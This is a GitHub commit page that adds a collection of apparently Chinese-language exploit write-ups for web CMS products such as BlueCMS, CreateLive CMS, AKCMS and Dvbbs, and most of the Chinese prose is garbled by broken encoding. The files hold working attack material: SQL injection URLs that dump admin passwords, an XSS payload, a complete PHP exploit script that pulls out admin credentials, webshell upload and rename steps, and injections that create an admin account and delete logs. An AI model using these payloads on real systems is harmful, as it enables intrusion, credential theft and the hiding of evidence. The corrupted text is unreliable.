Skip to content

Commit

Permalink
add
Browse files Browse the repository at this point in the history
  • Loading branch information
WangYuyang committed Jun 18, 2018
1 parent 79698fb commit 85b8cd1
Show file tree
Hide file tree
Showing 2,012 changed files with 145,124 additions and 0 deletions.
36 changes: 36 additions & 0 deletions 0day & exp/08CMS/08CMS 小说搜索型注入 - 脚本漏洞.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
08CMS С˵������ע�� - �ű�©��

By��xiaoCon
��ţ����ש����һ�η���


����������Ƭ�Σ�

//������Ԥ����
$searchword = empty($searchword) ? '' : cutstr(trim($searchword),50,'');
$_da['searchword'] = $searchword;
if($searchword){
$filterstr .= ($filterstr ? '&' : '').'searchword='.rawurlencode(stripslashes($searchword));
}
//Ԥ��������ģʽ������subject���ؼ���keywords������fulltxt����Աmname
$searchmode = empty($searchmode) ? 'subject' : trim($searchmode);
if(!in_array($searchmode,array('subject','keywords','fulltxt','mname'))) $searchmode = 'subject';

if(!$chid){
$nochids = empty($nochids) ? '' : trim($nochids);
if($nochids){//�ų���ģ��
$_da['nochids'] = $nochids;
$filterstr .= ($filterstr ? '&' : '')."nochids=".$nochids;
$nochids = explode(',',$nochids);
if($nochids) $wherestr .= " AND a.chid ".multi_str($nochids,1);
}



����������ע�롣

http://localhost/search.php?searchmode=subject&searchword=[%]&caid=0&chid=0&ccid4=0&indays=0&orderby=createdate&searchsubmit=1

��searchword��������⡣

�����Ŭ��ѧ��python���������Ժ�дexp������ҵ����ˡ���
3 changes: 3 additions & 0 deletions 0day & exp/08CMS/08CMS官网XSS.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
08CMS����XSS

http://www.08cms.com/search.phpchid=10&caid=21&searchword=%3Cscript%3Ealert(1);%3C/script%3E
34 changes: 34 additions & 0 deletions 0day & exp/AKCMS/akcms代码执行漏洞.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
akcms����ִ��©��

���ڳ���akcms�ĺ�̨ģ��getshell�о�ûʲô���⣬Ȼ������ϸ���˿����룬������һ���Ƚ��С�ǰ;���Ķ�������ִ��©�������ҳ����⺯���������ṩ����վ�û����ж��ο���ʱʹ�õģ�Ҳ����˵�������Ŵ�ij̶�Ҳ��Ҫ��Щ��
0��01��ԭ������

©��������Ҫ������include\common.func.php�ļ��е�ak_if�������ȿ��´���



eval���������еı���$variableδ���κεĴ�������뵽�˺����С�ak_if�����������Ҫ��;�ǣ��ṩ����վ�û�һ���򵥵��߼��жϹ��ܵĽӿڡ��Ա�һ��4.1�汾�е���δ���



���Է��֣������eval�������õ���䡣��4.1.4֮ǰ�İ汾�У����������û�е���eval������������4.1.4�У�����Ϊ������ak_if�Ը����߼����жϣ�������������䡣

�⵼���ˣ�����û�����$variable�����ɿأ�����ִ������php���롣

0��02��©����֤

Ϊ������©���������������߻���akcms2.4.2��blogϵͳ����\cache\templates\%%7D^7D3^7D3A5C77%%comments.htm.phpģ���е������������



�������ٱ������֣����ģ�������û��ظ����������ʱ�õ��ġ����ԣ�Ҫ�������©����Ҫ��һ�����Իظ���������ʵĺ�̨�˺š���ͼΪ���ù���





0��03���ܽ�

©���������ṩ����վ��������չ�ģ��������վ�߽�ak_if����������ǰ̨�û������ĵط����������������

PS���ϴ�д��akcmsģ��©����Ƶ����ӣ��ö�ͯЬ����˵��Ӧ����������ƹ���д�����������ҽ�����顣��ʵ���������һ���ܿ���Ĺ��̣�Ҳ�������Ŭ���ؿ���һ�ܵ�Դ�룬�����˵����ʱ����ԭ��������Ϳ��Խ������ˡ��������һ��Լ��ܽ��£��Լ�ѧϰ������ƵĹ��̣���ƪ���ӣ��ʹ�ҹ������Լ�����
24 changes: 24 additions & 0 deletions 0day & exp/AKCMS/akcms注入漏洞.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
akcmsע��©��

©������

��¶״̬��



2012-09-27�� ϸ����֪ͨ���̲��ҵȴ����̴�����
2012-09-27�� �����Ѿ�ȷ�ϣ�ϸ�ڽ����̹���
2012-10-07�� ϸ������İ�ñ�Ӽ��������ר�ҹ���
2012-10-17�� ϸ������ͨ��ñ�ӹ���
2012-10-27�� ϸ����ʵϰ��ñ�ӹ���
2012-11-11�� ϸ�����ڹ���


��Ҫ������

akcms��ijЩ�ļ��IJ������˲��ϣ�����ע��©��

��ϸ˵����

search.php�ļ�����©����ע����ڣ�
http://lishi.akcms.com/search.php?keywords=a%cf'+or+1=1
6 changes: 6 additions & 0 deletions 0day & exp/BLUECMS/BlueCMS v1.6 sp1 $_SERVER注射漏洞.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
BlueCMS v1.6 sp1 $_SERVERע��©��

���Է���:

@Sebug.net dis
��վ�ṩ����(����)���ܴ��й�����,������ȫ�о����ѧ֮��,�����Ը�!1.<?php2.print_r('3.+---------------------------------------------------------------------------+4.BlueCMS v1.6 sp1 Getip() Remote SQL Injection Exploit5.by cnryan6.Mail: cnryan2008[at]gmail[dot]com7.Blog: http://hi.baidu.com/cnryan 8.+---------------------------------------------------------------------------+9.');10.if ($argc < 3) {11. print_r('12.+---------------------------------------------------------------------------+13.Example:14.php '.$argv[0].' localhost /bluecms/15.+---------------------------------------------------------------------------+16.');17. exit;18.}19.error_reporting(7);20.ini_set('max_execution_time', 0);21.$host = $argv[1];22.$path = $argv[2];23.send();24.send2();25.function send()26.{27. global $host, $path;28. $cmd = "mood=6&comment=test&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB";29. $getinj=" 00','1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin),'1281181973','99";30. $data = "POST ".$path."comment.php?act=send HTTP/1.1\r\n";31. $data .= "Accept: */*\r\n";32. $data .= "Accept-Language: zh-cn\r\n";33. $data .= "Content-Type: application/x-www-form-urlencoded\r\n";34. $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";35. $data .= "Host: $host\r\n";36. $data .= "Content-Length: ".strlen($cmd)."\r\n";37. $data .= "Connection: Close\r\n";38. $data .= "X-Forwarded-For: $getinj\r\n\r\n";39. $data .= $cmd;40. 41. $fp = fsockopen($host, 80);42. fputs($fp, $data);43. 44. $resp = '';45. 46. while ($fp && !feof($fp))47. $resp .= fread($fp, 1024);48. 49. return $resp;50.}51. 52.function send2()53.{54.global $host, $path;55.$message="GET ".$path."news.php?id=1 HTTP/1.1\r\n";56.$message.="Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*\r\n";57.$message.="Accept-Language: zh-cn\r\n";58.$message.="Accept-Encoding: gzip, deflate\r\n";59.$message.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; GreenBrowser)\r\n";60.$message.="Host: $host\r\n";61.$message.="Connection: Keep-Alive\r\n\r\n";62.$fd = fsockopen($host,'80');63.if(!$fd)64.{65. echo '[-]No response from'.$host;66. die;67.}68.fputs($fd,$message);69.$resp = '';70.while (!feof($fd)) {71. $resp.=fgets($fd);72.}73.fclose($fd);74.preg_match_all("/<u-([^<]*)-u><p-([^<]*)-p>/",$resp,$db);75.if($db[1][0]&$db[2][0])76.{77.echo "username->".$db[1][0]."\r\n";78.echo "password->".$db[2][0]."\r\n";79.echo "[+]congratulation ^ ^";80.}else die('[-]exploited fail >"<');81.}82.?>
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
blueCMS v1.6 sp1 ad_js.php SQLע��©��


©��֤����

http://localhost/cms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1

�Ҽ��鿴Դ����õ��������ݡ�
36 changes: 36 additions & 0 deletions 0day & exp/BLUECMS/bluecms v1.0 图片上传绕过漏洞.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
bluecms v1.0 ͼƬ�ϴ��ƹ�©��

������:

BlueCMS(�ط�������Ϣ�Ż�ר��CMSϵͳ)
include/upload.class.php���֣�ֻ�Ǽ�����ļ�ͷ��û�м���׺.
......
class upload {
private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg');
......
function img_upload($file, $dir = '', $imgname = ''){
if(empty($dir)){
$dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
}else{
$dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
}

if(!file_exists($dir)){
if(!mkdir($dir)){
showmsg('�ϴ������д���Ŀ¼ʧ��');
}
}
if(empty($imgname)){
$imgname = $this->create_tempname().$this->get_type($file['name']);
}
$imgname = $dir . $imgname;
if(!in_array($file['type'],$this->allow_image_type)){
//ֻ�Ǽ�����ļ�ͷ�����ţ������Ǿ�ֱ�ӹ���һ��SHELL�ͺ���
showmsg('��������ͼƬ����');
}


}
<* �ο�
http://www.st0p.org/blog/archives/bluecms-0day.html
*>
49 changes: 49 additions & 0 deletions 0day & exp/CreateLiveCMS/CreateLive CMS 3.1注入漏洞.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
CreateLive CMS 3.1ע��©��

����俴������12�·ݵ��鿯��������CreateLive CMS 4.2��ע��©���������dz��������������и�Ҳ��CreateLive CMSϵͳ�ģ����ǰ汾��3.1�ģ�����Ӧ��Ҳ����������ɣ�
��վ�ǿ���ע��ġ���ʼ�ɣ�

����ע����ļ���user/User_UserCz.asp,�ڶ����chkCzNum�����У�CzNum��CzUser��Passû�й��˾ͱ������ѯ����У��γ�ע��©������©������ʹ��ע�빤�߲½⣬��Ҫ��ԭ��������֤���ʹ��POST�ύ����ش�������:

<--more-->

Sub chkCzNum()
Dim CzUser,Self,CzNum,Pass
Dim sPoint,sPointAll,sDayNum,sDayNumAll
Dim rsUser,ChargeType
CzUser = Trim(request("CzUser"))
Self = Trim(request("Self"))
CzNum = Trim(request("CzNum"))
Pass = Trim(request("Pass"))
if CzNum="" or Pass="" then
Call Cl.OutMsg("��ֵ���Ż��ֵ���벻��Ϊ�գ�","User_UserCz.asp")
end if
if Not Cl.CodeIsTrue(Trim(request("ChkPlusCz")),"ChkPlusCz") then
Call Cl.OutMsg("��֤�벻��ȷ","User_UserCz.asp")
end if
dim rsCz
set rsCz=Server.CreateObject("Adodb.RecordSet")
OpenConn : rsCz.open "Select * from Cl_UserCz where CzNum="&CzNum&" and Pass="&Pass&"",Conn,1,3
if rsCz.bof and rsCz.eof then
rsCz.close:set rsCz=Nothing
Call Cl.OutMsg("�����ڴ˳�ֵ��������������������룡","User_UserCz.asp")
End if
sPoint =rsCz("Point")
sDayNum =rsCz("DayNum")
if rsCz("IsUser")<>0 then
rsCz.close:set rsCz=Nothing
Call Cl.OutMsg("�ó�ֵ���ѱ�ʹ�ã�","User_UserCz.asp")
end if

�ڡ���ֵ����ֵ��������룬�ڡ���ֵ���š�����ע�����Ϳ�������Ȼ��������ֵ����ť��


���ش��󣬿���ȷ�����ݿ��������mssql��

��Ҫ��cl_admin��cl_user�����û�����,cl_admin�ǹ���Ա�ı��������ֶ���username,password��cl_user���û���,�����ֶκ͹���Ա�ı�һ����

3 and 1=(select username from cl_user where userid=1);-- ������һ���û���������Admin

3 and 1=(select userpassword from cl_user where userid=1);-- ������Admin�û�����Ϊmd5

���ݱ������û�����������е�¼��
92 changes: 92 additions & 0 deletions 0day & exp/CreateLiveCMS/CreateLive CMS Version 4.0 0day.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
CreateLive CMS Version 4.0 0day


CreateLive CMS Version 4.0 0day.doc
by:xiaok q:391232032.771044833 time: 2008-2-4 02:10 xpsp2 ie7 iis5.1 ����
�¾�D.S.T�ĸ�λͬ־����Hell-Phantom����on thin ice������D����Doom����Ⱥ���ǰ����Ļ�����å����

©��֮һ

��Դkingcms\User\User_Comment.asp CommentID
sub SaveModify()

����
CommentID=Trim(Request("CommentID")) 'ע��
����
if CommentID="" then
FoundErr=True
ErrMsg=ErrMsg & "<br /><li>��ָ������ID</li>"
Exit sub
end if
����
if FoundErr=True then exit sub
sql="Select * from Cl_Comment where ChannelID="&ChannelID&" and UserID="&UserID&" and CommentID=" & CommentID 'ע��
Set rsComment=Server.CreateObject("Adodb.RecordSet")
rsComment.Open sql,Conn,1,3
if rsComment.Bof or rsComment.EOF then
FoundErr=True
ErrMsg=ErrMsg & "<br /><li>�Ҳ���ָ�������ۣ�</li>"
else
����

û���κι��ˡ���
��Ȼ������Ҳ����
��Դ kingcms\User\inc\Cl_ClsSysTem.asp
'�ж��ύ��Ϣ�Ƿ������ⲿ
Public Function ChkIsOuter()
Dim server_v1,server_v2
ChkIsOuter=True
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
If Mid(server_v1,8,len(server_v2))=server_v2 Then ChkIsOuter=False
End Function

һ�еĹ��߶��������ã�ֻ��ȥ����һЩ��ϢȻ��post��NB���򣡣�����������
�����ڼ��������ҵ�һ������Ϊ���¾�Ҫд����ȥ�ˡ�����

©��֮��

�󲿷���վ��Ҫ��Ա��ˣ�����ֱ�ӽ��롣�Ǹ�����©������������Ŀ
http://127.0.0.1/User/User_Comment.asp?ChannelID=1&SearchContent=11&Query=��+ѯ

������������ôд��
��Դ kingcms\User\User_Comment.asp
SearchContent = Trim(request("SearchContent"))
����
Sub main()
����
if SearchContent<>"" then
strSql2=strSql2 & " and M.CommentContent like '%" & SearchContent & "%' "

������
%'and (select count(*) from admin)>0 and '%'='
%'and (select count(*) from cl_admin)>0 and '%'='

Ȼ������������

��һ����������û��admin��������Ļش�

�ڶ�����������û��cl_admin�����,��Ϊcl_admin���ڣ��������Ļش���

����ijЩ�˶�������`ֻ�ܿ��֡���

©��֮��

��Ҫ�����µ�Ȩ�ޣ�������Ҫ���ⲿ�ύ����ƹ�������Ҳ����Ȳ����ˣ�������׼������ʱ��
�賿2008��2��4�� 04:41:07����
�û�Ա��½��Ȼ�����
/Admin/Admin_Files.asp?action=Main&FileType=select&ChannelID=2&ThisDir=../../Data

��ᷢ��/*��Ϊ����admin��½�ģ����ԡ���*/�õ������ô����
Admin\Admin_Files.asp
if ThisDir<>"" then
ThisDir=Replace(ThisDir & "/","//","/")

�ֳ���ˣ���д�ˡ�

©��֮��

��Դ��һ����ע�ļ�����Ϊlog��admin����һ�����ݿ⣬û���ü�ֵ����



Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
CreateLiveCMSV4.0 ©���������̨Get shell

ע����û�����¼��

�޸�cookie:UserGroupID=1&Password=798fb0743e519ec0&UserName=admin&UserID=1


����cookie����

http://XXX.XXX.XXX.XXX/dlugis/user/upload.asp?action=F&id=3&type=0

id��ֵ������ı�.

�ϴ�һ��copy��ASPһ�仰

�鿴�ļ�Ŀ¼

http://xxx.xxx.xxx.xxx/dlugis/Admin/Admin_Files.asp?action=Main&FileType=select&ChannelID=2&ThisDir=../Photo/2012-3

�����ļ�����

http://XXX.XXX.XXX.XXX/dlugis/Admin/Admin_Files.asp?action=Rname&FileType=select&ChannelID=3&FolderId=2012-3&NewName=ok.asp


���³ɹ�û��

�˵�����

http://XXX.XXX.XXX.XXX/dlugis/Admin/Admin_Files.asp?action=Rname&FileType=select&ChannelID=3&FileId=../../Data/%23Cl_Count.mdb&NewName=ok

�ѱ��Ŀ¼�����ݿ��ļ����Ƶ���ǰĿ¼���ļ���Ϊok.mdb

http://XXX.XXX.XXX.XXX/dlugis/Admin/Admin_Files.asp?action=Main&FileType=select&ChannelID=2&ThisDir=../../../

���Ŀ¼

13 changes: 13 additions & 0 deletions 0day & exp/DVBBS/Dvbbs 8.2 SQL injection 0day(2009-12-31).txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
Dvbbs 8.2 SQL injection 0day(2009-12-31)

���Է���:
[www.sebug.net]
��վ�ṩ����(����)���ܴ��й�����,������ȫ�о����ѧ֮��,�����Ը�!�����ӣ�����Ϊ�����sql��䣬Ȼ������ۡ�0Ϊ����, 1Ϊ֧��, 2Ϊ���� ���С�
��ʱsql��䱻ִ��
������a'','''',1,''akai'',''2008-2-4'','''',2);update/**/dv_user/**/set/**/useremail=db_name()/**/where/**/username=''akai''--

���ƴ����ǰ̨�ͺ�̨����Ա��a'','''',1,''akai'',''2008-2-4'','''',2);update dv_user set UserGroupID=1 where username=''akai'';insert into dv_admin(Username,Password,Flag,Adduser)values(''akai'',''965eb72c92a549dd'','',4,'',''akai'')--

���ƴ�������̨,ͨ��ע���ٻ�ȡȫ��Ȩ�ޣ�http://www.xxx.com/Admin/help.asp?action=view&id=1;update/**/dv_admin/**/set/**/flag=''1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45''/**/where/**/username=''akai''--

���ƴ����������ݿ��¼��������������http://www.xxx.com/Admin/help.asp?action=view&id=1;delete/**/from/**/dv_log/**/where/**/l_username=''akai'';delete/**/from/**/dv_topic/**/where/**/PostUsername=''akai'';delete/**/from/**/Dv_Appraise/**/where/**/UserName=''akai''--
Loading

0 comments on commit 85b8cd1

Please sign in to comment.